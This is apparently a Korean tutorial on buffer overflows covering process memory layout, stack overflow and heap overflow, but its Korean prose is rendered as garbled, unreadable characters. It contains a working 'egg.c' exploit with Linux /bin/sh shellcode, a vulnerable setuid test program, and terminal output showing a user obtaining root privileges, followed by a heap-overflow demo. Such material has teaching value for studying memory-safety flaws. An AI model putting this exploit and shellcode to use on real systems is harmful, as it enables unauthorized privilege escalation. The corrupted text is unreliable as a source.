----------------------------------------------------------------------- 1. ÇÁ·Î¼¼½º¿Í ¸Þ¸ð¸® ¾Æ! ¿ä»çÀÌ ¹«Ã´ ȸ»çÀÏÀÌ ¹Ùºü¼­¸®... (°ÔÀ¸¸§¿¡´ëÇÑ ÇΰÔ) ¾ó¸¶Àü ¸®´ª½º¿¡¼­ »ç¿ëµÇ´Â ¾îÇø®ÄÉÀ̼ǿ¡ ¿À¹öÇ÷¯¸¦ ÀÌ¿ëÇؼ­ ¸¹Àº ÇØÅ·ÀÌ ÀÌ·ç¾îÁ³´Ù´Â ¼Ò½ÄÀ» Á¢ÇÑÀûÀÌ ÀÖ´Ù. (´ë´ÜÇÑ°í¼ö´Ôµé..) ±×·¸´ã. ¿À¹öÇ÷¯´Â ¹«¾úÀÎÁö Áý°í ³Ñ¾î°¡¼­, ³ª¾Æ°¡ ºÐ¸íÈ÷ ¾ÕÀ¸·Îµµ Á¸ÀçÇÒ°ÍÀ̱¸ °è¼ÓÁ¸ÀçÇØ¿Â ÇÁ·Î±×·¥µéÀÇ ¹ö±×¸¦ ¾î¶»°Ô ã¾Æ³»¼­ ¿ì¸®°¡ ¿øÇÏ´Â ¼Ò±âÀÇ ¸ñÀûÀ» ´Þ¼ºÇÒ°ÍÀÎÁö¸¦ »ìÆ캸µµ·ÏÇÏÀÚ. °¡) ÇÁ·Î¼¼½º 'Process' »çÀüÀûÀÎ Àǹ̴ '°úÁ¤','ÁøÇà',¶Ç µ¿»ç·Î´Â 'ó¸®ÇÏ´Ù'¶ó´Â ¶æÀ» °¡Áö°í ÀÖ´Ù. ´ç¿¬È÷ ÄÄÇ»ÅÍ ¿¡¼­´Â 'ÇÁ·Î±×·¥ÀÇ ¼öÇà'Á¤µµÀÇ Àǹ̷ΠÇؼ®µÈ´Ù. ±×·¯´Ï±ñ, ÄÄ¿¡¼­ ±¸µ¿µÇ´Â ¸ðµç ÇÁ·Î±×·¥µéÀÇ ÁøÇà°úÁ¤°ú 󸮸¦ ÇÁ·Î¼¼½º ¶ó±¸ÇÑ´Ù. ±ªÀåÈ÷ Áß¿äÇϱ¸ ³ÐÀº ÀǹÌÀÌ´Ù. ±×·±µ¥ ¿¬»ê,°è»ê°úÁ¤¿¡ ÀÖ´Â ÇÁ·Î¼¼½º´Â ¿¬»ê,°è»ê¸¸ Çؼ­´Â ÀÏÀÇ Ã³¸®¸¦ ³¡³¾¼ö°¡ ¾ø´Ù. Áï, ¿¬»ê/°è»ê °úÁ¤¿¡¼­ ¿¬»ê°á°ú¿Í °è»ê °úÁ¤À» ±â¾ïÇسõÀ» °ø°£ÀÌ ÇÊ¿äÇÏ°ÔµÇ°í ±×·¯ÇÑ °ø°£À» ÇÁ·Î¼¼½º ¸Þ¸ð¸®¶ó±¸ ÀÏÄƴµ¥. ±×³ðÀÌ ¾î¶»°Ô »ý°Ü¸Ô¾ú³Ä Çϸé.. C·Î ¸¸µé¾îÁø °ÍµéÀº... 0x0000 ------------------ Text ------------------ Data ------------------ Heap ------------------ Stack ------------------ 0xFFFF ÀÌ·¸°Ô »ý°å´Ù. À¸ÇÏÇÏ ÂÍÂ¥Áõ³ª°Ô »ý°åÁö¸¸ ÃæºÐÈ÷ ÀÌÇظ¦ ÇÏ°í ³Ñ¾î°¡µµ·ÏÇÏÀÚ. ÀÏ´Ü ¿ä·±°ÍÀ» Virtual Address ¹æ½ÄÀ̶ó°íµéÇÑ´Ù. ¹¹³Ä¸é '°¡»óÁÖ¼Ò'¹æ½Ä À̶ó°í³ª ÇÒ±î!. ¿Ö³ÄÇϸé ÇÁ·Î¼¼½º°¡ ¼öÇàµÉ¶§ ±× ¸Þ¸ð¸®´Â ÀÚ½ÅÀÌ ¸ðµç ¸Þ¸ð¸®¸¦ »ç¿ëÇÏ´Âµí »ý°¢Çϱ⶧¹®ÀÌÁÒ. ±×·¯´Ï±ñ °¡»óÁÖ¼Ò¶ó°í Çϳ²!. ±×°Ç±×·¸±¸ ¸Þ¸ð¸®ÀÇ ±¸Á¶¸¦ Çϳª¾¿ °øºÎÇغ¸ÀÚ. ³ª) ÇÁ·Î¼¼½º ¸Þ¸ð¸® ±¸Á¶ ¤¡) Text : ÇÁ·Î±×·¥ÀÇ º»Ã¼ÀÌÀÚ ÇÙ½ÉÀÌ´Ù. ÀÌ°÷Àº °¢Á¾ Code¿Í ÀбâÀü¿ë ÅýºÆ®µé·Î ±¸¼ºµÇ¾îÀÖÀ¸¸ç, ÀÌ°÷À» ¾î¶»°Ô Çغ¼·Á±¸ ÇÏ¸é ¿¡·¯°¡ ¹Ù·Î¶ß¸é¼­(Segmentation Fault) ÇÁ·Î±×·¥ÀÌ Á¾·áµÈ´Ù. ¤¤) Data : º¯¼öÀÇ Ç׸ñµéÀ» ÀúÀåÇÏ´Â °÷ÀÌ´Ù. ÀÌ°÷Àº 'Read-Write'°¡ °¡´ÉÇÑ °ø°£ÀÌÁö¸¸ ¿ì¸®°¡ ¹»¾î¶»°Ô ÇϵçÁö º° µµ¿òÀÌ ¾ÊµÇ´Â °ø°£À̱⿡ ±×³É ¾Ë°í¸¸ ³Ñ¾î°¡ÀÚ. ¤§) Heap : À¸ÇÏÇÏ ¿©±â¼­ ºÎÅÍ°¡ ¿ì¸®°¡ ¾ÆÁÖ ¸¹Àº °ü½ÉÀ» °¡Áö°í ÁÖÀÇ ±í°Ô »ìÆ캸¾Æ¾ßÇÒ ºÎºÐµéÀÌ´Ù. HeapÀº µ¿ÀûÀ¸·Î ÇÁ·Î±×·¥¿¡ ÀÇÇؼ­ ÇÒ´çµÇ´Â ¸Þ¸ð¸® °ø°£À» ¸»ÇÑ´Ù. ÇѸ¶µð·Î ¿¹ºñ¿µ¿ªÀÌ¶ó±¸ ÇÒ¼öÀÖ´Ù. ÀÌ°÷À» Àß ÁÖ¹«¸£¸é Àç¹Õ´Â ÀÏÀÌ ÀϾ°ïÇÑ´Ù. ¤©) Stack : ÀÌ°÷Àº CÇÁ·Î±×·¥ÀÇ ÀåÁ¡ÀÎ Æã¼ÇÄÝ¿¡ °ü°èµÇ´Â ¿µ¿ªÀÌ´Ù. ¹º¸»Àΰ¡ Çϸé, ¾î¶² C·Î ¸Í±Û¾îÁø ÇÁ·Î±×·¥ÀÌ ÀÖ´Ù°í ÇÏÀÚ, ±×ÇÁ·Î±×·¥ÀÌ ¼öÇàµÇ´Â °úÁ¤¿¡¼­ Æã¼ÇÀÌ È£ÃâµÇ¾úÀ» °æ¿ì ±× È£ÃâµÈ Æã¼ÇÀ» ÀúÀåÇϱâÀ§ÇÑ °ø°£ÀÌ ¹Ù·Î StackÀΰÍÀÌ´Ù. ±×·±µ¥ ÇÁ·Î±×·¥ ¼öÇàÁß Æã¼Ç È£ÃâµÇ´Â°Í ±îÁö´Â ÁÁÀºµ¥ Æã¼ÇÀÌ Á¾·á°¡ µÇ¸é ¾î¶»°Ô µÉ±î? ¼öÇàÁß Æã¼ÇÀ» ³¡³×°í ´Ù½Ãµ¹¾Æ°¥ ¸®ÅÏ ¾îµå·¹½º¸¦ ÁöÁ¤ÇÏ°Ô µÇ´Âµ¥, À̶§ ¿ì¸®´Â °í³ðÀÇ ¸®ÅϾîµå·¹½º¸¦ ¸¶±¸ º¯Á¶½ÃÄѼ­ Suid°¡ ºÙÀº ³ðµé¿¡ ÇÑÇؼ­ ¸ÚÁøÀÏÀ» Çس¾¼ö °¡ÀÖ´Ù. ¡Ø¾Æ¾Æ~~ ¿À¹öÇ÷¯ÀÇ ¸ðµç¹æ¹ýÀº suid°¡ ºÙÀº ³ðµé¿¡ ÇÑ¿¡¼­ Àû¿ëµË´Ï´Ù. ±¦½ÇÈ÷ suidµµ ¾Æ´Ñµ¥ ¿À¹öÇ÷¯½ÃŲ´Ù°í ²þ²þ°Å¸®¸é.. ±ÛÂ¥¸¸ ±úÁ®¼­ ³ª¿Ã»Ó ¾Æ¹«°ÍµÇ ¾ÈµÊÀ» ¼÷ÁöÇϽÃÁÒ~~ÇÏ·çÁ¾ÀÏ °øºÎÇؼ­ ¾µµû¸®¾ø´Â ÁþÇϽÃÁö¸¶½Ã±æ... ´Ü, ¸®¸ðÆ® ¾îÅýô ¿ÜºÎ¿¡¼­ ³»ºÎ·Î ¾ï¼¼½Ì ÇÏ´Â Åë·Î¸¦ ¿­¼ö´Â ÀÖÁö¿ä.^^ ¼ÛÁ˼ÛÁË, Àá½Ã ȸ»çÀÏÁ» ³¡³»³õ°í... À¸¾Æ ¸öÀÌ ÇÑ µÎ¾î°³¸¸ ÀÖ¾îµÎ ÁÁ°Í´Ù. ------------------------------------------------> To be contiune 2. Stack Overflow StackÀº C·Î Â¥¿©Áø ÇÁ·Î±×·¥¿¡¼­ ÇÔ¼öÀÇ È£Ãâ·ÎÀÎÇÑ ¸Þ¸ð¸® ÇÒ´ç°ø°£ÀÌ´Ù. ÇÔ¼ö°¡ È£ÃâµÇ°í ³ª¼­ ´Ù½Ã º»·¡ÀÇ ÇÁ·Î±×·¥ ±Ëµµ·Î ¸®Åϵɶ§¸¦ À§ÇØ StackÀº ¸®ÅϾîµå·¹½º¸¦ ÁöÁ¤ÇÏ¿©µÎ°í ¸Þ¸ð¸®¸¦ ÇÒ´çÇÑ´Ù. ÀÌ ¸®ÅϾîµå·¹½º¸¦ Á¶Á¤ÇÔÀ¸·Î¼­ Suid°¡ ºÙÀº ½ÇÇàÈ­ÀÏÀÇ °æ¿ì ºñ Á¤»óÀûÀÎ ½ÇÇàÀ» ÅëÇÏ¿© ±ÇÇÑÀ» ȹµæÇÒ¼ö ÀÖ´Ù. ±×·¸´Ù¸é ±×°úÁ¤À» »ìÆ캸ÀÚ. °¡) Stack push ÇÔ¼ö°¡ È£ÃâµÇ¸é ÇöÀç ½ÇÇà ´Ü°è¸¦ ÀúÀåÇϱâÀ§ÇÏ¿© ¸®ÅϾîµå·¹½º¸¦ ÀúÀåÇϰԵȴÙ. ¶ÇÇÑ ÇöÀçÀÇ Stack°ªÀº ÇÔ¼öÈ£Ãâ·Î ÀÎÇÏ¿© ´ÙÀ½ÀÇ Stack°ªÀÇ ¸ÇÀ§·Î ¿Ã¶ó°¡°ÔµÈ´Ù(È£Ãâ·ÎÀÎÇØ ¹Ð·Á³ª°ÔµÈ´Ù). ÇÔ¼ö°¡ Á¾·áµÇ°í ¶Ç ÇÔ¼ö°¡ È£ÃâµÇ¸é ¸ÕÀú¹øÀÇ StackÀº ³ªÁßÀÇ StackÀÇ À­ºÎºÐ¿¡ À§Ä¡ÇϰԵǰí.. ...... ÀÌ·±½ÄÀ¸·Î ÃÖÃÊÀÇ StackÀº ´ÙÀ½ È£Ãâ·Î ±×StackÀº ¶Ç ´ÙÀ½ È£Ãâ¿¡ ÀÇÇØ Á¡Á¡ ¹Ð·Á³ª³ª°ÔµÈ´Ù. ÀÌ·¯ÇÑ °úÁ¤À» StackÀÇ Push°úÁ¤À̶ó°í ÇÑ´Ù. µµ½ÄÀûÀ¸·Î ------------------- ¦¤ Stack Point °ª ------------------- ¦¢ Local Variable ------------------- ¦¢ Parameter ------> Stack Element ÀÇ ±¸Á¶ ------------------- ¦¢ Return Address ------------------- ¦¢ Frame Pointer °ª ------------------- ¦¥ À§¿¡¼­ ÇÔ¼ö°¡ ÄÝµÇ¸é ´ÙÀ½ÀÇ Stack Point °ªÀÌ ÇöÀçÀÇFrame Pointer °ªÀ¸·Î PushµÇ¸é¼­ ±× °ªµéÀÌ °»½ÅµÈ´Ù. (¾î·Æ´Ù...) ³ª) Return Address ÇÔ¼ö°¡ È£ÃâµÇ±¸ ´Ù½Ã ¸í·ÉÀÌ º»±Ëµµ·Î µ¹¾Æ¿Ã¶§ À§ ±×¸²¿¡¼­ÀÇ Return Add°ªÀ» ã¾Æ¼­ À̵¿ÇϰԵȴÙ. ¿ì¸®°¡ ÀÌ Return Add¸¦ º¯°æ½ÃÅ°¸é µÈ´Ù. ¾î¶»°Ô? ±×³É? ±×³ÉÀº Àýµ¥·Î ¾ÈµÈ´Ù. Á÷Á¢ÀûÀ¸·Î StackÀÇ ¸®ÅϾîµå·¹½º¸¦ °Çµå¸±¼ö´Â ¾ø´Ù(¹¹! ÇÁ·Î±×·¡¸Ó°¡ ¯±¸³Ä!) ±×·¸´Ù°í Çؼ­ ÁÖÀú¾ÉÀ»¼ö´Â ¾ø´Â ¹ý. ¸®ÅϾîµå·¹½º¸¦ ¸ø°Çµå¸®¸é °Çµå¸±¼ö Àִ³ðÀ» °Çµå¸®¸é µÉ²¯¾Æ´Ñ°¡!. ±×·¸½À³×´Ù. À§ÀÇ °ªµéÁß¿¡ Local VariableÀÇ °ªÀ» ÁöÁ¤µÇ¾îÀÖ´Â ¾çº¸´Ù ÃÊ°úÇÏ¿© Áý¾î³ÖÀ¸¸é ¹Ð¸®°í ¹Ð¸®°í ¹Ð·Á¼­ °á±¹¿£ ¸®ÅϾîµå·¹½º¿ª½Ã º¯ÇÏ°Ô µÈ´Ù. À̶§ Àß Á¶Á¤À» ÇØ°¡Áö±¸ (¹Ð¸®´Â °ªÀ») ¸®ÅϾîµå·¹½º¿¡ 'shell'ÄÚµå ¿µ¿ªÀ» ¼³Á¤ ½ÃŲ´Ù¸é, suidºñÆ®ÀÇ ÇÁ·Î±×·¥¿¡¼­ ¿ì¸®´Â euid ±ÇÇÑÀ» ȹµæÇÒ¼ö ÀְԵȴÙ. (¾î·Æ´Ù.... Âü°í : ÇÁ·¢49È£, ¶Ç´Â ¹ø¿ªº» "¼­ÀǼº"´Ô) ¡Ø ¿©±â¼­ Stack Overflow´Â ½ºÅÃÀÌ ½ÇÇà°¡´ÉÇÑ ¿µ¿ª¿¡ Á¸ÀçÇÏ¿©¾ß¸¸ °¡´ÉÇÏ´Ù. ±×·¸Ä¡ ¾ÊÀ¸¸é ¹é³¯ ÇêÀÏÀÌ´Ù. ¶ÇÇÑ ¿äÁòÀº Return Add°ªÀ» systemÇÔ¼ö·Î °¡¸®Å°·Î·Ï patchÇسõ¾Æ¼­ °ÅÀÇ ¸ðµç Stack Overflow´Â ¸·ÇôÀÖ´Ù°í Çصµ °ú¾ðÀÌ ¾Æ´Ï´Ù. ¾î·µç°£¿¡ °øºÎ´Â ÇÏ°í ³Ñ¾î°¡ÀÚ.. ´Ù) ÀϹÝÀû °ø°Ý¿ë EGG¼Ò½ºÄÚµå ´ÙÀ½Àº ÀϹÝÀûÀº Stack Overflow °ø°Ý¿ë eggÀÇ ¸ð½ÀÀÌ´Ù. ¹¹ ´Ù¸¥°Íµéµµ ¸¹°ÚÁö¸¸ ÀÏ´Ü ¼Ò°³Çغ»´Ù. //egg.c #include #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 2048 #define NOP 0x90 char shellcode[] = "\x55\x89\xe5\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46" "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89" "\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" "\x00\xc9\xc3\x90/bin/sh"; //linux x86 shellcode unsigned long get_esp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, eggsize=DEFAULT_EGG_SIZE; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (argc > 3) eggsize = atoi(argv[3]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_esp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg,"EGG=",4); putenv(egg); memcpy(buff,"RET=",4); putenv(buff); system("/bin/bash"); } °£´ÜÈ÷ À§ÀÇ °ø°Ý¼Ò½º¸¦ ÅëÇؼ­ °ø°ÝÇÏ¿© º¸¸é ¿¹) #include //test1.c main(int argc, char *argv[]) { char buf[16]; if(argc > 1) strcpy(buf,argv[1]); } $id uid=500(leon) gid=500(leon) $ ls -l ./test -rwsr-xr-x 1 root leon 14375 7¿ù 27 08:00 test1 $./egg Using address: 0xbfffef98 $./test1 $RET #id uid=500(leon) gid=500(leon) euid=0(root) ½©À» ÀÓÀÇÀÇ ÁÖ¼Ò¹øÁö¿¡ ¶ç¿ì°í Ãë¾àÇÁ·Î±×·¥ÀÇ ¸®ÅϾîµå·¹½º¸¦ ¿ì¸®°¡ ¿øÇÏ´Â ÀÓÀÇÀÇ ¹øÁö·Î ¹Ù²Ù´Â °ÍÀ» º¼¼ö ÀÖ¾ú´Ù. ÀÌó·³ Stack Overflow´Â Ãë¾à ÇÁ·Î±×·¥ÀÇ ¸®ÅϾîµå·¹½º³ª ±âŸ º¯Á¶°¡´ÉÇÑ ¿©·¯ ÁÖ¼Ò¸¦ º¯Á¶ÇÏ¿© ½ÇÇàÈ帧À» ¹Ù²Ù´Â°ÍÀ» ÀǹÌÇÑ´Ù. ¶ó) Stack Overflow ¸·¾Æ¹ö¸®±â ´ÙÀ½Àº Stack overflow¸¦ ¸·¾ÆÁÖ´Â ÄÄÆÄÀÏ ±â¹ýÀÌ´Ù.. - Null canary - Terminator canary - Random canaries - StackGuard µîÀÌ ÀÖ´ç.. ÁÖ¾îµéÀº À̾߱â... ÃßÈÄ°øºÎ ¢Û¢Ü¢Ý µåµ® ²ÙÁø ¿ì¸®È¸»ç¿¡µµ ³×Æ®¿÷ÀÌ ±¸ÃàµÇ°í ÀÖ´Ù. NT´Ù.¢Û¢Ü¢Ý ¢Ý¢Û¢Ü ȸ»ç»ýÈ°ÀÌ Á¶±ÝÀº Áñ°Å¿ö Áö·Á³ª!.... ±×°Ç±×·¸±¸ 3. Heap base Overflow À½.. ´ÙÀ½ ÈüÀÌ´Ù. ¾ûµ¢ÀÌ´Ù..... Àü¹ø °­Á¿¡¼­ Stack Overflow´Â °ÅÀÇ ¸·ÇôÀÖ´Ù¶ó°í ¾ð±ÞÀ» Çß¾ú´Ù. ½ºÅà ¿À¹ö¸¦ ¸·¾Æ³»´Â ÇÁ·Î±×·¥µµ ¸¹ÀÌ°³¹ßÀÌ µÇ°í ¶ÇÇÑ ½ºÅÿÀ¹ö¿¡´Â ¸î°¡ÁöÀÇ Á¦ÇÑÁ¶°ÇÀÌ ÇÊ¿äÇÏ´Ù. Áï ¿À¹öµÇ´Â ¿µ¿ªÀÌ ½ÇÇà°¡´ÉÇÏ¿©¾ßÇϱ⠶§¹®¿¡ ½ºÅÃÀ» ¿À¹ö½ÃÄѼ­ ¿ì¸®°¡ ¿øÇÏ´Â °ÍÀ» Çϱ⿡´Â ¾à°£Àº ¾î·Á¿îÁ¡µéÀÌ ÀÖ´Ù. ±×·¸´Ù¸é, ¿©±â¼­ ¶Ç ÁÖÀú¾ÉÀ» °ÍÀΰ¡?... ¼º°æ¸»¾¸¿¡µµ ÀÖµíÀÌ 'ã°íÀÚÇÏ´ÂÀÚ¿¡°Ô´Â ±æÀÌ Àִ¹ý' ¿ì¸®¿¡°Õ '¾ûµ¢ÀÌ'°¡ ÀÖ´Ù. °¡) HeapÀ̶õ? ¾Õ¼­µµ ¼³¸íÀÌ µÇ¾úÁö¸¸ Á»´õ ±¸Ã¼ÀûÀ¸·Î Heap¿¡ ´ëÇؼ­ ¾Ë¾Æº¸ÀÚ. ¾ûµ¢ÀÌ´Â ÀÀ¿ëÇÁ·Î±×·¥¿¡ ÀÇÇؼ­ µ¿ÀûÀ¸·Î ÇÒ´çµÇ¾îÁö´Â ¸Þ¸ð¸® ¿µ¿ªÀ» ÀÏÄƴ´Ù. ´ëºÎºÐÀÇ ½Ã½ºÅÛÄ¿³Î¿¡¼­ ¸Þ¸ð¸®¸¦ ÇÒ´çÇϴ°ÍÀ» ºñ±³ÇÏ¿´À»¶§ ÀÌ ¾ûµ¢ÀÌÀÇ ¿µ¿ªÀº ƯÀÌÇÑ »ý¼ºÀ» ÇÑ´Ù°í º¼¼öÀÖ´Ù. ³ª) µ¿Àû¸Þ¸ð¸® ÇÒ´ç? µ¿Àû¸Þ¸ð¸®¶õ ÇÁ·Î±×·¥À» ÀÛ¼ºÇÒ ´ç½Ã ¹Ì¸®¾Ë¼ö ¾ø´Â »ç¿ëÀÚÀÇ ÀԷµ¿ÀÛÀ̳ª ´Ù¸¥ ¾î¶² µ¿ÀÛ¿¡ ÀÇÇؼ­ ³»¿ëÀÌ º¯È­ÇÏ´Â ¹®ÀÚ¿­À» ÀúÀåÇÒ ÇÊ¿ä°¡ ÀÖÀ»¶§(»ç¿ëÀÚÀ̸§À» µî·ÏÇÑ´ÙµçÁö....¹¹ ¾Æ´Ô ÇÁ·Î±×·¥ÀÇ ¿É¼Ç¿¡¼­....) ÇÊ¿ä¿¡ µû¶ó ÀúÀ念¿ªÀ» ÇÒ´çÇØÁÖ´Â ¸Þ¸ð¸®¸¦ ¸»ÇÑ´Ù. C¾ð¾î¿¡¼­ ÀÇ ´ëÇ¥ÀûÀÎ ÇÔ¼ö·Î´Â malloc()ÇÔ¼ö°¡ ÀÖ´Ù. ´Ù) ¾ûµ¢ÀÌ µ¤¾î¾²±â Heap¿¡ ´ëÇÑ ¿À¹öÇ÷¯´Â ¾ÆÁ÷µµ °è¼Ó¿¬±¸ÀÇ ´ë»óÀÌ´Ù. ¾ó¸¶³ª ¹«±Ã¹«ÁøÇÑ ÇØÅ·ÀÌ ÀÚÇàµÉÁö¸ð¸£´Â ±×¾ß¸»·Î ¿À¹öÇ÷¯ÀÇ ÃÖ°íÀÇ ´Ü°è¶ó°í ÇÒ¼öÀÖ´Ù. ÇöÁ¸ÇÏ´Â(2000³â 4¿ù) ¿À¹öÇ÷¯Áß¿¡¼­ ÃÖ°í¶ó°í ÇÒ¼öÀÖÀ¸¸ç, ½ºÅÿÀ¹ö¿Í´Â ´Þ¸® ¾ÆÁ÷±îÁö´Â ±×¹æ¾îÃ¥ÀÌ ±¸ÇöµÇ¾îÀÖÁö ¾Ê´Ù. ±×·¯¹Ç·Î ¾ûµ¢À̸¦ ¿­½ÉÈ÷ °øºÎÇÏ°í ÀÏ´Ü À¯Á®·Î ½Ã½ºÅÛ¿¡ Á¢±Ù¸¸ ÇÏ¸é ±× ½Ã½ºÅÛÀº °ÅÀÇ ³»²¨¶ó°í ÇÏ¿©µµ °ú¾ðÀº ¾Æ´Òµí½Í´Ù. ¿øÀç¾Æºüµµ ¾ûµ¢ÀÌ °øºÎ¸¦ ¿­½ÉÈ÷ÇÏ°í ÀÖ´ÂÁßÀÌ´Ù. Å©~~¾ûµ¢ÀÌ.... ´ÙÀ½Àº Heap base OverflowerÀÇ ¿¹Á¦ÀÌ´Ù. -------------------------------------------------------- /* demonstrates dynamic overflow in heap (initialized data) */ #include stdio.h #include stdlib.h #include unistd.h #include string.h #define BUFSIZE 16 #define OVERSIZE 8 /* overflow buf2 by OVERSIZE bytes */ int main() { u_long diff; char *buf1 = (char *)malloc(BUFSIZE), *buf2 = (char *)malloc(BUFSIZE); diff = (u_long)buf2 - (u_long)buf1; printf("buf1 = %p, buf2 = %p, diff = 0x%x bytes\n", buf1, buf2, diff); memset(buf2, 'A', BUFSIZE-1), buf2[BUFSIZE-1] = '\0'; printf("before overflow: buf2 = %s\n", buf2); memset(buf1, 'B', (u_int)(diff + OVERSIZE)); printf("after overflow: buf2 = %s\n", buf2); return 0; } ------------------------------------------------------------------- À§ ÀÇ ¼Ò½º¸¦ ÀÚ¼¼È÷ Çѹø »ìÆ캸µµ·ÏÇÏÀÚ. À§ÀÇ ¿¹Á¦ ¼Ò½º´Â °£´ÜÇÏÁö¸¸ ¾ûµ¢ÀÌ µ¤¾î¾²±âÀÇ ±âº»À̵Ǵ ÄÚµåÀ̹ǷΠ¼÷ÁöÇϽñæ. °¢ÀÚ ÀÚ½ÅÀÇ ÄÄ¿¡¼­ À§ÀǼҽº¸¦ ÄÄÆÈÈÄ ½ÇÇàÇÏ¿©º¸¸é buf1¸¦ ³Ñ¾î¼­ buf2·Î ¿À¹öÇ÷¯µÇ´Â ¸ð½ÀÀ» º¼¼ö ÀÖ´Ù. ¿À¹öµÇ±âÀüÀÇ buf2ÀÇ °ª°ú ¿À¹öµÈÈÄÀÇ buf2ÀÇ °ªÀ» º¸¿©ÁØ´Ù. buf2ÀÇ ¾ûµ¢ÀÌ ¿µ¿ªÀº ¿À¹ö°¡ µÇ¾îµµ segmentation fault³ª ±âŸ ¿¡·¯¸¦ ÀÏÀÌÅ°Áö ¾Ê°í ±×³É µ¤¾î½áÁö´Â °ÍÀ» ¿ì¸®´Â È®ÀÎÇÒ¼öÀÖ´Ù.. ¾Ñ! °íÂüÇÑÅ× µéÄ×´Ù. ÀÏÁ» Ç϶õ´Ù. ÂêÂê ÀÌ°Ô ¾ó¸¶³ª Áß¿äÇÑ ÀÏÀε¥.... ¹Ùº¸